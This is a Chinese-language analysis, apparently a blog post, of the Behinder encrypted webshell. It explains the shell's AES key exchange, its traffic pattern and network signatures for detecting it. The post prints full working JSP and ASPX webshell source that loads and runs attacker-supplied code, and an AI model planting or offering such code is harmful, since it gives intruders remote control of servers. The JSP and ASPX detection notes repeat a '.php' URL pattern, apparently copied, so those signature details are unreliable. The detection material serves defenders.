shell分析
php
shell.php
1 |
|
在该冰蝎木马查看是$_GET 变量否存在pass
,如果存在的话根据时间生成16位的随机密钥存入session中
接着判断是否开启了openssl
插件
- 如果开启了
openssl
,使用AES进行加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval("phpinfo();")
,服务端利用explode函数将拆分为一个字符串数据,然后以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval("phpinfo;")")。 - 如果没有开启openssl,进行异或处理然后通过base64加密
jsp
1 | <%import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%> |
在冰蝎客户端连接shell时候,首先进行一次GET请求,远程获取加密密钥进行AES加密,获得密钥保存到session中,和当前会话绑定。
客户端将payload的类打包好,通过ASM框架从jar包中以字节流的形式取出class文件。服务端通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化。
客户端使用GET请求获得的密钥对paylod进行AES加密然后进行base64编码,带cookie以POST方式发送至服务器端,并将执行结果取回(如果结果是加密的,则进行AES解密)。服务端会通过客户端传来cookie值的session获得客户端的密钥进行解密。
aspx
1 | <%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%if (Request["pass"]!=null){ Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%> |
和上面的木马思路差不多,都是动态AES加密传输WEBSHELL。
为了实现客户端跨平台使用,冰蝎的客户端采用Java语言编写,因此就无法动态编译C#的dll文件。而是在windows平台把C#版本的Payload编译成dll文件,然后以资源文件的形式嵌入至客户端。';'
- 客户端把参数值拼接在DLL文件的底部,然后一起进行AES加密,加密之后传递到服务端。
- 服务端收到加密字节流之后进行AES解密,并把解密的内容(包括DLL字节流和参数字节流)传入System.Reflection.Assembly.Load,由于Assembly的解析特性,会自动忽略掉DLL文件尾部的额外参数字节流。
- 执行流进入Payload的Equals函数,在函数中由于可以访问Request和Session,于是用Session中的key对Requset中的完整加密字节流再次解密。
- 解密得到DLL文件字节流和额外参数字节流,然后只要把DLL尾部附加的额外参数字节流取出来,便可得到客户端传过来的额外参数。
数据包分析
php
开启openssl或者关闭openssl在流量上都会先发送两次GET握手请求,服务端产生随机密钥并写入Session,session和当前会话绑定。不同的客户端访问同一个服务端,密钥不同。
然后接着进行两次post请求,在第一次post请求的时候,开启了openssl拓展的在进行post请求时会获得到响应
对post请求进行解密
对post响应解密
base64解码后的结果:
{"status":"success","msg":"f2c02e9f-3185-406e-bb71-8f217123c755"}
没有开启openssl拓展的会在第二次post请求异或加密数据然后进行base64函数处理
jsp
简单jsp一句话流量如下
1 | <% |
冰蝎对于webshell会进行两次GET请求,获得密钥保存到session中,和当前会话绑定。
客户端使用GET请求获得的密钥对paylod进行AES加密然后进行base64编码,带cookie以POST方式发送至服务器端。
aspx
简单aspx一句话流量如下
Java和.NET原生都支持AES加密,加密流程和jsp木马一样,具体数据包如下
流量监测
php
基于GET请求包的检测特征:
- url包含
.php?pass=
;(密码如果被修改后,此检测特征无效) - 请求body包含
Content-Length: 16
基于GET响应包的检测特征:返回16位密钥
基于POST请求包的检测特征:Content-Type: application/x-www-form-urlencoded
基于POST响应包的检测特征:Transfer-Encoding: chunked
jsp
基于GET请求包的检测特征:
- url包含
.php?pass=
;(密码如果被修改后,此检测特征无效) - 请求body包含
Content-Length: 16
基于GET响应包的检测特征:返回16位密钥
基于POST请求包的检测特征:Content-Type: application/octet-stream
基于POST响应包的检测特征:Transfer-Encoding: chunked
百度的OpenRASP可以通过命令执行的堆栈日志识别冰蝎(安装自带插件即可看到日志),日志中会看到应用大量的堆栈跟踪活动记录。
aspx
基于GET请求包的检测特征:
- url包含
.php?pass=
;(密码如果被修改后,此检测特征无效) - 请求body包含
Content-Length: 16
基于GET响应包的检测特征:返回16位密钥
基于POST请求包的检测特征:Content-Type: application/octet-stream
基于POST响应包的检测特征:Transfer-Encoding: chunked
参考: